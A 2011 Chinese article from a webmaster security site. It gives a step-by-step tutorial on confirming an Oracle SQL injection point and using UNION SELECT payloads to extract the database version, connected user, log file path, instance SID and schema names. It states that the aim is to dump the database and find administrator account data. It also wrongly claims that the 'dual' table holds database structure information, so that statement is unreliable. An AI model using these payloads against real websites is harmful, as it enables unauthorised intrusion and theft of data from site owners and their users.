Oracle注入点信息基本检测

来源: 发布者:网络

时间:2011-03-06 14:19

字体大小选择:

浏览次 【共:0条评论

  Oracle注入点信息基本检测

  对于Oracle注入点的检测比较特殊,不像其它注入点一样,需要经过多个步骤检测确认注入点所使用的数据库类型是否为Oracle。

  Oracle注入点判断

  首先,需要判断是否为Oracle注入点,可提交如下几步查询:

  and 1=1

  and 1=2

  返回不一样的页面,则说明存在注入漏洞,继续在注入点处提交如下查询字符:

  /*

  "/*"是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:

  --

  "--"是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:

  ;

  ";"是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。再提交如下查询:

  and exists(select * from dual)

  或

  and (select count (*) from user_tables)>0--

  dual和user_tables是Oracle中的系统表,如果返回正常页面,则可以确定是Oracle注入点。

  注入点信息判断

  确定注入点类型后,与前面的MySQL注入一样,先用Order by x猜出字段数目,再用联合查询union select方法得获取想要的信息。

  最主要的信息是数据库版本,可利用(select banner from sys.v_$version where rownum=1)获取版本信息,例如:

  and 1=2 union select 1,2,3,(select banner from sys.v_$version where rownum=1),4,5…… from dual

  获取当前数据库连接用户名,可执行如下查询:

  and 1=2 union select 1,2,3,(select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual),4,5…… from dual

  执行如下查询:

  and 1=2 union select 1,2,3,(select member from v$logfile where rownum=1),4,5…… from dual

  通过查询日志文件绝对路径,可以判断操作系统平台。

  另外,要获取服务器sid,可执行如下查询:

  and 1=2 union select 1,2,3,(select instance_name from v$instance),4,5…… from dual

  利用Oracle系统表爆数据库内容

  与MySQL一样,可利用Oracle系统表直接爆出数据库中的所有内容。Oracle中存在dual系统表,其中存储了数据库名、表名、字段名等信息,直接针对此表进行注入攻击可获得整个数据库的结构,从而方便查询到管理员帐号数据信息。

  爆出库名

  在注入点处提交:

  and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1),4,5…… from dual

  可查询爆出中第一个库名,然后继续查询提交:

  and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1 and owner<>'第一个库名'),4,5…… from dual

  用同样的方法,可以查询出当前用户数据库中的所有数据库库名。

 

 

(本文由责任编辑 pasu 整理发布)

 

数据统计中,请稍等!
发表评论 欢迎您发表评论,强烈建议注册登陆后发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
  • 用户名:
  • 密码:
  • 验证码:
  • 点击我更换图片

Copyright © 2007-2011 www.Safe5.com Inc. ALL Rights Reserved 站长安全网 版权所有

本站致力于为站长提供服务器代维服务器安全服务器环境配置等技术支持服务

京ICP备09110227号 客户服务中心(7x24):4006 966 220

本站法律顾问:ITLAW-庄毅雄律师

7x24小时客户服务 站长联合会成员网站 返回顶部